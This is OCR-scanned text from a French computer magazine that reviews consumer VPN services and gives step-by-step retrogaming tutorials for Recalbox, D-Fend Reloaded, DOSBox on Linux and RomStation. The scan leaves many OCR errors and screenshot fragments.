estlundesplusanciens . . ueoswee IPVANISH
VPN, et c'est ce qui

fait sa force. Un peu CONNECT

déroutant au premier

lancement, IPVanish P

propose une interface United States

trés compléte cachée

dans des onglets et des g;g Lo

fenétres. Le petit plus ?

Un volet affichant en o

temps réel la vitesse de Best Availale

download et d'upload

du serveur auguel vous

étes connecté. Un abonnement d'un an est facturé 78€.

Lien : https://www.ipvanish.com

StrongVUPN

— L'ANONYMAT SANS EFFORT IP Address 178121.200.71

Time Elapsed 0:00:00
Le crédo de StrongVPN, c'est la L

sobriéte. Une carte du monde, un
bouton pour choisir son serveur, un
autre pour s'y connecter. Il s'adresse
essentiellement aux utilisateurs
souhaitant protéger leur vie

privée : avec plus de 650 serveurs,
StrongVPN propose pas loin de 60
000 adresses IP. De guoi se fondre
dans la masse sans effort ! Avec un
prix plutot attractif (70€/an), et une
licence valable pour 12 appareils

en simultangé, StrongVPN a de quoi
seduire.

Lien: https://strongvpn.com




01010101000101110100110101101000010110101010100110101010110 VPN 0101

Ivacy — Le VPN A PETIT PRIX ioacy Settings

Ivacy s'est autoproclamé «Le plus avancé (2) Dashboard Rt ety i g

des VPN». Et effectivement, il possede A

des arguments de poids : nombreuses @) Personalization

fonctionnalités, connexion de 5 appareils en sciity

simultané, protection contre les fuites DNS, o spitTunneing VPN Mode: | Fastnernet Mod (ncrypion destied)

chiffrage des données... Sécurité, protection et Swich 1 Secure DNS

anonymat sont les maitres-mots d'lvacy. Ces A

avantages ne sont pas ternis par le prix puisque T

'abonnement de 2 ans esta 47,99€, Your F: 192.168.1.95 Traffic Chart Options

Lien: https://www.ivacy.fr A unie ST

B Manual Scale: Graph Shows:

ZenMate ===

LA VITESSE PURE Commpommmg

Zenmate a eu du mal & convaincre au début, a
cause de ses fonctionnalités limitées, Depuis,
d'amélioration en amélioration, il se fait une
place, en misant sur sa simplicité d'acces
pour attirer un public peu connaisseur.

Pour cela, une interface minimaliste, et une
proposition de serveur dés le lancement. On
lance, on clique, on surfe : difficile de faire
plus simple ! L'abonnement de 2 ans est a

49 20€.

POURQUOI UTILISER
UNVPN?

- Fviter l'espionnage et les attaques (cela
va des services secrets aux pirates en
passant par HADOPI)

Protéger / Dissimuler son adresse P
emplacement géographique

Lien : https://zenmate.com/fr

Se prémunir des malwares (virus, vers,
trojans, etc.)

Se connecter en toute sécurité surun
point d'acces WiFi inconnu

- Rester anonyme sur Internet

Contourner la géolocalisation de certains
sites et donc la géorestriction (Netflix,
etc)

Contourner le bridage de certains sites
ou services si un jour la neutralité du Net
n'était plus respectée
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les films de hackers ! Le but est de ne laisser
aucune information émanant de votre premier
serveur pour le second. Le chiffrement est
double aussi. Il s'agit d'une protection pour des
activistes ou pour des gens particulierement
surveillés.

0 P2pP

Ceux qui téléchargent via le protocole
BitTorrent savent bien qu'en France, ils risguent
de recevoir une...lettre. Et puis une autre...pour
enfin se faire suspendre leur acces Internet.

Albania

v fec
® Metherdands ° ‘
® pp ° ‘
@ Double VPN
@ United States o
@ Ukrsine A -
7 Specialty servers

’ W comy[F men ] .
i Server: —_ Fastest ~ °
) Dedicated IP.
G Double VPN
©  Onion Over VPN
W Alcountnes .cf:nl::\:dmmmmlmdwssn (1344915071
™ y .

Enfin non pas vraiment, car c'est techniguement
impossible. Mais hon, si vous voulez éviter de
surmener votre facteur, choisissez P2P. Notez
gue vous évitez aussi de montrer votre IP en
clair sur les clients Torrent et cela gruge les FAI
qui brident les protocoles P2P.

0 ) ONION OVER VPN

Vous connaissez Tor ? Ce systeme
de routing permet de masguer sa position,
sonidentité et le type de données échangées.
Sur mobile Android il faut deux applis pour en
profiter : Orbot et Orfox (le navigateur). Avec
NordVPN, vous empruntez ce tunnel sans souci
en cumulant les avantages du VPN : méme

.
5 o 4

© Neterins o ° °
G e

@ Dowble VPN

@ United States °
- Spociay srvors

o

€5 Double VPN

B i o

votre FAl ou d'éventuels espions sur votre
réseau ne peuvent savoir gue vous utilisez Tor.
Ici vous n'aurez pas le choix du pays. Seuls les
Pays-Bas praposent ce type de serveur.
10) DEDICATEDIP

Cette option permet de vous
connecter a un serveur qui va vous donner une
IP statique. Il s'agit d'un paramétre trés pointu.
Avec une IP qui ne change jamais, vous pouvez
VOus cannecter & un serveur pro qui dresse des
listes blanches ou sécuriser vos transactions
bancaires. Seul hic, une IP statique colite
61,53€/an supplémentaires.

DES TARIFS DEGRESSIFS

Mais combien ¢a colite NordVPN ? Les tarifs sont
dégressifs. Nous vous déconseillons de prendre
la formule a10,50€/mois car en s'engageant
pour un an, le service revient a 6,14€/mois.
Comme NordVPN propose de vous rembourser

sous 30 jours si vous n'étes pas satisfait, vous
pouvez aussi opter pour l'engagement de

3 ans. Dans ces conditions, le prix est de 2,62 €/
mois ce qui fait une réduction de 75 %. Voyons
maintenant comment mettre NordVPN en place
sur votre appareil Android, smartphone, tablette
oubox TV...
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e
LE JEU pans TOUS SES ETATS

Dans cette derniére rubrigue nous allons nous détendre un peu en explorant les mille facettes
du retrogaming. Yous aimeriez découvrir ou redécouvrir des titres mythiques du jeu vidéo, sur
consoles ou PC? Nous allons vous présenter plusieurs solutions pour vous replonger a ['époque
oil «c'était mieux avants...

"~ YOR
RecalboX —> Sur PC er Raspeerry Pi m‘gﬂgﬁ
D
SUIVANTES

Recalbox est un OS gratuit et libre dédié au
rétrogaming. Installable facilement sur le
nano-ordinateur Raspeberry Piil est aussi
compatible avec le monde PC. IL suffit d'avoir
un ordinateur sous la main pour émuler une
soixantaine de machines: arcade, NES, Super
Nintendo, N64, Master System, Megadrive,
32X, Mega CD, Dreamcast, PSP, PlayStation,
Game Boy (Color, Advance), Game Gear, Atari
2600, MSX, Lynx, Amiga, Atari ST, Wonderswan,
etc. Vous trouverez forcément vatre bonheur. Le scrappeur intégré vous permettra de retrouver les
descriptions et jaquettes pour chaque jeu et on trouve aussi des fonctionnalités sympas comme les
«savestates» (des sauvegardes a la demande dans n'importe quel jeu), ou le «rembobinage» pour
revenir de quelgues secondes en arriere en cas d'erreur. Le logiciel PrBoom permet de jouer a Doorm
et atoutes les cartes amateurs au format .wad,
quanta ScummVM il permet d'émuler les paint'n
click de LucasArts (Day of the Tentacle, etc.) ou
Sierra (Les Chevaliers de Baphomet, etc.) Cela vous
semble limité et vous voudriez d'autres jeux PC ?
C'est possible avec l'intégration de DOSBox méme
s'il faudra un peu lutter. Enfin, et pour parfaire le
systeme, Recalbox contient le media center Kodi.

Lien: www.recalbox.com/fr
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~ \OR

DOSBOX — EmuLer bu PC sur PC PouR LES Joueurs PC NOTRETUTE.
DANSLESPAG

SUIVANTES

Vous souhaitez ressortir vos vieux jeux PC
des années 80/90 ? Doom, Speedball 2,
Discworld, Command&Congquer, Civilization,
Alone in the Dark, Sim City 2000 et Wing
Commander: que de bons souvenirs... Le
probleme c'est que la plupart ne tourneront
pas avec un PC recent. En effet, ils étaient
faits pour fonctionner sous DOS, un systeme
d'exploitation qui n'est méme plus présent
dans les Windows de nos jours. Alors,
comment faire pour retrouver la magie de
vos jeunes années ? Avec le logiciel DOSBox
qui permet d'émuler le DOS de nos vieux coucous d'antan. C'est la seule solution sous Linux, mais
les possesseurs de PC sous Windows disposent de D-Fend Reloaded, une interface graphigue pour
DOSBox plus conviviale...

Lien: www.dosbox.com; Lien: http://dfendreloaded.sourceforge.net

emuControlCenter — Oreanisez vos ROMs

emuControlCenter n'est pas le logiciel que nous
conseillons aux joueurs occasionnels qui veulent
se faire une partie de Mario World sur le temps du
déjeuner. Il s'agit d'une interface quiva centraliser
tous les fichiers (émulateurs, jeux, fichiers systeme,
etc.) de presque 200 machines ! Etil y ena pour

tous les golts: de la calculette Tl a lAtari ST ou la
GameCube en passant par la Game Boy et diverses
machines d'arcade. Vous trouverez forcément votre
machine de prédilection ! Les joueurs PC ne sont pas
oubliés puisgue vous trouverez aussi le support du
logiciel DOSBox pour émuler les vieux jeux. Attention, 2 — T
le logiciel en lui-méme ne comprend aucun émulateur et aucune ROM, il faudra les télécharger, et les
transférer dans les dossiers adéquats pour en profiter. L'intérét de emuControlCenter, c'est de pouvoir
lancer les jeux depuis la méme interface. Passez de Metroid sur Super Nintendo a Fatal Fury Special

sur NeoGeo en deux clics puis ouvrez un logiciel Amiga ou MO5 avec la méme facilité. La possibilité
d'afficher des informations sur vos jeux ou logiciels avec un visuel ou une vidéo est un plus, tout comme
le support des manettes Xbox360 et PlayStation 3 (via Xpadder).

Lien : https://phoenixinteractivenl.github.io/femuControlCenter
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Lakka — Pour Winbows, Linus ET MacOS

Lakka est un autre compilation d'émulateur
basée sur LibRetro qui propase hien sir une
version pour Raspberry Pi mais aussi des
images pour Windows, Linux et MacOS. En
ce qui concerne la trentaine de machines
émulées, c'est du grand classique :

VB PlayStation|

de ['Atari 2600 a la PlayStation en passant
par la Super Nintendo, le 300 et la Megadrive.
Une alternative sympa a Recalbox qui
propose aussi une compatibilité avec des
«Single board computer» moins connues ou
des box TV sous Android.

Lien: www.lakka.tv

VOIR

RomsStation  Nepartez pLus A La PEcHE Aux ROMs | NOTRETUTD.
DANSLESPAS

SUIVANTES

Pour jouer a de vieux jeux, il fallait jusqu'a présent

télécharger un émulateur, des ROMs ou des ISOs (les

jeux au format numeérique) et lancer le tout sur votre

ordinateur. IL fallait faire la méme chose pour chague

systeme que vous vouliez émuler en cherchant des jeux

sur Internet. Avec RomStation, tout va changer ! Depuis

la méme interface, vous choisissez, téléchargez et

jouez a des milliers de jeux sans chercher, décompacter

ou bidouiller quoi que ce soit. IL suffit de cliquer surun

bouton et cela fonctionne puisque tous les émulateurs

ainsi que les BIOS nécessaires au fonctionnement sont

intégrés dans les 188 Mo du programme. Attention, n'espérez pas émuler de la Wii avec un PC vieux de
5 ans tout de méme... Une des fonctionnalités intéressantes du logiciel, c'est la possibilité de mettre
en relation d'autres utilisateurs pour jouer a des jeux qui normalement ne permettent le multijoueur
gu'en local. Il est donc possible de jouer & GoldenEye 64, Mario 64 ou Monster Hunter avec des joueurs
distants.

Lien : www.romstation.fr
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INSTALLATION DE RECALBOX

i)\ ET PARAMETRAGE

0 ) L'INSTALLATION

Démarrez le programme SDFormatter
et formatez l'intégralité de la carte SD en
FAT32. Téléchargez le fichier recalbox0S.zip
dans saderniere version a l'adresse suivante :
https://archive.recalbox.com. Décompressez
ensuite l'archive directement alaracine de votre
carte SD ou clé USB. Placez-la dans votre PC et
hootez sur ce périphérigue en faisant un tour dans
le BIOS. A la fin de Uinstallation, vous découvrirez
l'écran de EmulationStation, le gestionnaire.

@gﬁqgﬂ? <P SUPER NINTENDD

3 JEUK DISPONIBLES

0 LES REGLAGES DE BASE
Branchez un clavier pour les
paramétrages. Appuyez sur Entrée pour
accéder au menu principal et paramétrez le
WiFi dans Options Réseau (optionnel). Les
Options Systéme permettent d'ajouter un

OPTIONS RESEAU

ADRESSE IP 192.168.1.37

NOM SUR LE RESEAU RECALBOX >
ACTIVER LE WIF|

SSID WIFI
CLE WIFI

SFR_DSCO >

E kA

RETOUR)

disque dur, de choisir la langue ou d'overclocker
votre framboise tandis que les Options des
Jeuxvont gérer leratio de l'image, le lissage
des pixels, les filtres ou le pixel perfect (pou avoir
le rendu «arcade» des vieux écrans). Le mode
rembaobinage sert a revenir a un stade antérieur
dujeu(au lieu d'utiliser les savestates).
0 LES DOSSIERS DE ROMS

Mais avant de s'occuper des réglages,
vous remarquerez gue votre gestionnaire propose
déja des emulateurs, car Recalbox est livré avec
des jeux libres de droits. Et si une ROM est dans le
dossier carrespondant a 'émulateur, il s'affichera
dans le menu EmulationStation. Pour supprimer
l'affichage des émulateurs non désirés dans
l'interface, il faudra juste effacer les ROMs depuis
leréseau dans \\RECALBOX\share\roms\. C'est
dans chague dossier correspondant a un systeme
al'intérieur du répertoire \roms\ qu'il faudra
mettre vos archives de jeu. Pour notre projet nous
avons utilisé les émulateurs de la NeoGeo, des
bornes d'arcade Capcom (Final Burn Alpha pour
les systemes CPS-1, Il et l1l) et MAME pour les jeux
tres anciens ou sans systeme particulier (Pac-
Man, Mortal Kombat, etc.)
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0 OPTIONS DES JEUX

Dans Options des Jeux > Avancées
il est aussi possible de choisir quel émulateur
va émuler guelle console/machine. Il est méme
possible d'activer certaines options uniquement
pour un émulateurs: format 4/3, filtre, lissage, etc.
Vous verrezen
fouillant dans

OPTIONS DES JEUX

les menus que LISSER LES JEUX [+
Recalbox est REMBOBINAGE o
o SAUVEGARDE/CHARGEMENT AUTOMATIQUE &
extrémement SHADERS SET QAUCUND
riche au niveau INTEGER SCALE [PIXEL PERFECT) &
) OPTIONS DE RETROACHIEVEMENTS >

des options. erou]

NEO-GEO

EMULATEUR
CORE

FORMAT JEUX
LISSER LES JEUX
REMBOBINAGE
SAUVEGARDE/CHARGEMENT AUTOMATIQUE ~ (@r)

L'avantage de cette distribution réside aussi dans
sanotice trés détaillée en francais. Si vous bloguez
sur un aspect que nous n'avons pas ahordé, une
seule adresses: https://goo.gl/Lwbhae
05 ) REGLAGES DES STICKS/
BOUTONS
Ce quivanous intéresser maintenant ce sont les
Options Manettes pour se débarrasser du cla-
vier et gérer vos menus avec vos sticks/boutons.
Normalement vos cartes contréleur ou les bran-
chements GPIO sont automatiquement détectés.
I suffit de sélectionner le Joueur 1 avec le clavier
et de rentrer les inputs devant chague bouton.
Notez que c'est la configuration Super Nintendo
qui est ici de mise (voir l'image ci-jointe), mais
qu'il est aussi possible de brancher des manettes
supportant l'analogique. Sivous n'utilisez pas un
bouton, il faudra rester appuyé sur un bouton au
hasard jusgu'a ce gue le logiciel passe a un autre.

4 LIBRETRO b
4 IMAME4ALL b
443p

Select permet
d'ajouter des
Credits dans les
emulateurs d'ar-
cade et Hotkey
permet de sortir
d'unjeuoude
faire une sauve-
garde en fonction
des touches
associees. Par
exemple, comme
nous manquions
de houtons, nous avons paramétré Select +
Start pour sortir d'un ému.
0 LES METADONNEES

Lorsque vous aurez transféré vos
ROMs et vos ISOs depuis la carte SD ou depuis le
réseau, vous pourrez y jouer directement, mais
peut-étre voudriez-vous afficher les visuels des
jeux et leurs descriptionss? Il faudra aller dans
Scrappeur du Menu Principal pour récupérer
sur Internet toutes ces métadonnées depuis
deux bases différentes. Cette opération peut
prendre du temps. Il ne vous reste plus qu'a
naviguer entre les systemes, lancer vos jeux et
profiter de cette cure de jouvence.

OPTIONS MANETTES

CONFIGURER UNE MANETTE

ASSOCIER UNE MANETTE BLUETOOTH

QUBLIER LES MANETTES BLUETOOTH

< #0 DRAGONRISE INC. ..ICK P
4 #1 DRAGONRISE INC. ..ICK &
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D-FEND RELOADED
SOUS WINDOWS

0 LANCEMENT

Laversion 1.4.4 de D-Fend Reloaded
comprend a l'intérieur DOSBox (v0.74). Vous
n'aurez donc pas a installer ce dernier pour pou-
voir jouer. Sivous étes déja utilisateur de DOSBox,
il suffira de spécifier le chemin de votre dossier
d'installation juste aprés la premiére mise en
route de D-Fend Reloaded. Depuis cet Assistant
de ler lancement, vous pourrez aussi choisir la
langue du programme, la langue de DOSBox et la
recherche automatique de mise a jour.

Bisnvenus dans D-Fend Reloaded ¥

[ veus pouves confiay &
| futisation de D-Fend Reloaded. Yous pouvez également modfier tous les
n 1€glages. offerts dan cet assistant B partic du pi du
Languc du programme:
| rangais (French) v

Installation de DOSBox 3 utiliser par défaut:
Version installés avec D-Fend Reloaded

Bl C\Program Files (85\D-Fend Reloeded\DOSBor »
Frmg-rs(ﬁmdd ot

[ ¥érification automatique des mises & jour
o

3 jour dans le

dislogue des opticns de programme.)

0 LES JEUX

Apres avoir validé, vous allez vous
retrouver sur la fenétre principale de D-Fend
Reloaded. Imaginons gue vous n‘avez plus les
jeux en votre possession. Nous vous invitons a les
telecharger sur www.abandonware-france.org
au format archive. Notez que pour le RAR et le ZIP,
iLn'yaura pas de probleme tandis que le 7Z, non
supporté par D-Fend, demandera une étape de plus.

© -Ferd Reiased - o x
Fchier Afcnsge Démamer Profl Auws Ade
@ douter ? Eiter @ Hacer | o

Hom ot
[ anthar s Ou
Conner

[EL T ——
[Risteet Foter s bor Plon fie.

B Coptices ican 9 500 Vickion @ Motes ) Reperns s cannses

0 ) LE CHOIX DU MODELE

Pour commencer le paramétrage, faites
juste glisser votre archive dans la fenétre prin-
cipale. Une nouvelle fenétre va alors apparaitre.
Ici, vous devrez mettre le nom du jeu (dans notre
exemple Another World) puis le nom du dossier
sous lequel seront stockés les fichiers. A vous
ensuite de chaisir entre trois options : Modéle
autoconfiguré correspondant sile jeu est enre-
gistre dans la base de données de D-Fend (si cette
derniére n'est pas grisée, choisissez-la), Modeéle
autoconfiguré permettant de sélectionner un jeu
présentant les mémes caractéristigues et Modéle
utilisateur vous donnant le droit de paramétrer
vos préférences a la main.

Importe un répertoire X

Mam de profil
[Another o

s : de je, pour stocker Ie jeu
Modeie suto-configuré correspondant
O Modéle auto-configuré
@ Modéle d'utilisateur

Modéle & utiliser Fichier du programme  Fichier dinstallation

 Modéle par défaut ~ | GOBAT v CONFIGEXE
X sonuter | [ unifise ride 8 instaliation | 2 e

LES TYPES DE MODELES

Les «modeles» sont des configurations virtuelles
de vieux PC : Normal DOS Game, Complexe
DOS Game with 3D graphics, etc. Avous

de choisir celui qui convient Le mieux pour
chaque jeu si jamais Modéle autoconfiguré

correspondant apparait en grisé (voir étape 3).
Heureusement, les jeux les plus connus sont
déja paramétrés a la base dans D-Fend Reloaded,
mais si vous étes perdu, dans Ajouter>Ajouter
a partir d'un modeéle, vous retrouverez des
indications a coté de chague modele pour cerner
au mieux vos besoins.
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0 JOUEZ!

Apres avoir trouve le
bon modele, puis sélectionné
le fichier programme (en EXE)
et le fichier d'installation
(généralement Setup), vous
pouvez valider. Le jeu se
retrouvera dans la fenétre
principale. Double-cliquez
dessus. Le jeu se lance en
plein écran. Vous pouvez
revenir a un mode fenétré avec
Alt+Entrée. Notez qu'il faudra
parfois lancer un fichier Setup pour que les manettes ou le son soient pris en compte dans les réglages
de D-Fend...

0 CAS PARTICULIERS ET PROFIL

Sivous disposez d'un jeu qui est dans une archive
du genre .7z, il faudra décompresser le jeu dans le dossier
de votre choix puis faire Ajouter>Ajouter a partir d'un
modele. Choisissez le type du modeéle (voir encadré) et
remplissez les champs a la main (Nom, fichier programme
et fichier d'installation). Si vous étes perdu, vous pouvez
aussi décompresser le 7Z pour remettre le contenu dans un
ZIP et revenir a l'étape 3)... Validez pour retrouver votre jeu
dans l'interface principale. Notez que vous pouvez éditer les
parametres de votre jeu en faisant un clic droit sur son profil.
A partir de cette fenétre, vous pourrez modifier le nom de
profil, Le fichier programme, le fichier d'installation, etc. Sur la gauche, vous pourrez changer la partie
«hardware» : carte son, carte graphique, clavier, manette, etc.
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Sivous avez en votre possession les jeux de votre ‘ ]

jeunesse, il faudra agir legerement différemment. :
. * By . DOSBox peut monter des images de CD au formet 150 et CUE/BIN. Pour monter des images
Ajoutez votre lecteur optique a D-Fend en faisant et e e e i

de CD dans DOSBox,

Ajouter>Installe a partir d'un média source puis e
Installe a partir d'un vrai lecteur CD dans lecas d'un | “reseemesompmon s :

jeu CD, Installe a partir d'une image de CD (pour un e ] s

ISO ou un couple CUE/BIN) ou Installe a partir d’'une

image de disquette. Suivez les instructions qui peuvent varier d'un jeu a l'autre...

.
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o DOSBOX SOUS LINUX

0 L'INSTALLATION
DOSBox est la seule solution pour les

Linuxiens nostalgigues. Ici nous avons essaye
le logiciel avec un Raspberry Pi sous Rasphian,
mais Le systeme est le méme avec d'autres
distributions basées sur Debian (Ubuntu, Kali
Linux, etc.) Apres avoir mis a jour les paguetset la
distribution, installez DOSBox avec :
sudo apt-get install doshox
Puis, créez un dassier ou vous mettrez vos jeux
avec:
mkdir ~/dos-games
Dans ce dossier vous pourrez mettre les
répertoires contenant les fichiers de vas jeux (il
faudra les dézipper auparavant). Vous pourrez
ensuite lancer l'émulateur avec la commande
doshox, mais nous allons faire guelques petits
réglages avant cela...

0 LE FICHIER .CONF

Ce fichier permet de régler plusieurs
choses comme la disposition de votre clavier, la
résolution, les parametres sonores, la sensihilité
de la souris, les protocoles réseau pour le
multijoueur, les manettes, etc. Dans notre cas,
nous allons en premier lieu configurer un clavier
AZERTY et faire en sorte de «monter» le répertoire
dos-games comme s'il s'agissait de C:\ (le disque
dur principal d'un PC sous DOS). Cela évitera
d'avoir a taper une ligne longue comme le bras au
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moment de lancer un jeu.

Lancez un terminal et faites:

nano ~/.doshox/doshox-0.74.conf

Alaligne keyboardlayout=, mettez fr sans
espace a la fin au lieu de auto. Ensuite a la fin du
fichier, ajoutez les lignes:

mount ¢ -/dos-games

c:

Faite Ctrl+X puis 0 et Entrée pour valider les
changements.

3/ MAPPER LE CLAVIER

Toujours dans la catégorie des réglages, vous
pouvez aussi «mapper» le clavier pour le
configurer a votre fagon. Notez qu'il faudra pour
cela laisser le mode auto du keyboardlayout=.
Pour ce faire, tapez:

doshox -startmapper

Notez que Les claviers Bluetooth fonctionnent
aussiavec DOSBox.
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0 JOUONS AUN JEU

Nous sommes préts a lancer un jeu!
Sivous avez changé le fichier .conf comme nous
vous l'avons conseillé, vous devriez avoir le
prompt C:\>. Pour DOSBox, vous étes donc déja
dans le dossier avec les jeux. Imaginons que Le jeu
soit dans le répertoire /dos-games/jeu/jeu.exe.
Il faudra taper :
C:\> jeu/jeu.exe. Si le jeu nécessite une
installation, il faudra lancer install.exe (ou
setup.exe) puis e :
lancer le jeu (ne |
changez pas le
chemin d'origine).
Pour lesimages
de CD c'est un peu
différent...
0 ETAVECLIMAGED'UNCD ?

Pour lesimages de CD (format .img ou

.iso par exemple), il faudra monter le fichier dans
le lecteur D:\> avec:
c:\> imgmount d jeu/jeu.img -t iso

Lorsque
vous verrez
le prompt, il
faudra taper
lacommande
permettant
delancer le
jeu. Pour étre
sar de votre coup, regardez a l'intérieur de l'image
pour trouver le fichier EXE qui permettra de lancer
l'installation.
0 LES SAUVEGARDES

Attention, lorsque votre jeu va
fonctionner vous serez tellement content de
retrouver votre jeunesse gue vous allez y jouer
comme Si vous aviez 14,18 ou 22 ans. Nous vous
conseillons néanmoins de faire guelgues essais
au niveau des sauvegardes pour étre bien sir

que votre

progression soit |
bien prise en
compte. Nous
vous conseillons
de faire une
courte partie
puis de relancer
lejeu et de tenter de charger la sauvegarde avant
de vous lancer dans 5 heures d'Ultima. Si vous
avez un probleme avec tel ou tel jeu, il faudra
malheureusement chercher au cas par cas...

07 ) QUELQUES
RACCOURCIS

Alt+Entrée Passer en made plein écran

Alt+Pause Marque une pause

Ctrl+F1 Montre le mappage du clavier
Ctrl+F5 Prend une capture d'écran (a récu-
perer dans le dossier Capture)
Ctrl+F6  Commencer et arréter l'enregistre-
ment d'un fichier sonore .wav
Ctrl+F7 Baisse le frameskip (pour ralentir les
animations trop rapides)
Ctrl+F8 Augmenter le frameskip (pour accé-
lérer les animations trop lentes)
Ctrl+F9 Fermer DOSBox
Ctrl+F10  Permet de «sortir la sourisde la
fenétre d'émulation au cas ol vous
devriez utiliser un autre logiciel.
Ctrl+F11  Baisse le nombre de cycles de
DOSBox pour ralentir 'émulation
Ctrl+F12  Augmente le nombre de cycles de
DOSBox pour accélérer I'émulation
Alt+F12 Configure tous les parameétres pour une

rapidité maximum (bouton «turho»)




0 L'INSTALLATION

1Sur la page principale du site, cliquez
sur Installer RomStation en haut a gauche
et lancez le fichier EXE. Vous devrez sans doute
installer des composants additionnels comme
DirectX, mais tout se fait de maniere automatique.
Inscrivez-vous sur le site et validez cette inscrip-
tion sur votre boite aux lettres avant de rentrer
vos identifiants dans U'application RomStation.

£ RomStation

0 VOTRE PREMIER JEU
Chaisissez votre systeme en cliquant
sur l'icone adéquate puis recherchez un jeu. Dans
notre exemple, nous allons jouer a GoldenEye 64,
ce chef-d'ceuvre du multijoueur local sur la NG64 de
Nintendo. Cliquez sur Télécharger et lorsque le
processus sera fini, faites Jouer. Notez gu'il existe
des versions de jeux modifiées comme le mode
coopératif a4 joueurs de Zelda : Ocarina of Time.

0 LE BON EMULATEUR

Sile systeme comporte différents
émulateurs, le logiciel vous proposera de choisir
celui que vous voulez
utiliser. Aprés avoir
validé, RomStation
Vous propose de
diffuser votre partie
sur le réseau. Vous
pouvez bien sir refuser.
Naormalement, le jeu
devrait se lancer. A
vous de paramétrer
'émulateur pour
gu'il s'adapte a votre
configuration : manette
ou clavier, gualité de la vidéo, du son, etc. Chague
émulateur propose ses propres réglages.

0 LE MULTI

Vous retrouverez les jeux gue vous avez
déja téléchargés dans l'onglet Mes Jeux. Sile
ceeur vous en dit, faites un tour dans Multijoueur.
Cliguez sur Rejoindre pour accéder a la partie.
Notez aussi que si vous sélectionnez un jeu Star
Wars par exemple, le logiciel vous proposera des
jeux en rapport avec cet univers.

Versions alternatives.




I
L'INDEPENDAN CE

oe OWAN
EST-ELLEA
VENDRE ?

nnnnnnnnnnnnnnnn

-' : e . .0. >>Sexe, A,
7OUT SAVOIR SUR 0 Mensonges & Vidéos
« DeepFakes:

" ANTI-BITCOIN & Uspts
pe FACEBOOK N 'invasion @ comme




L 14376-21-F: 3,50 € -RD

BEL/LUX/PORT CONT. : 4,60 € - CH: 6 FS —
DOM/S : 4,70 € - POL/S : 660 XPF -
N CAL/S : 620 XPF - MAROC : 43 DH

e IO 6



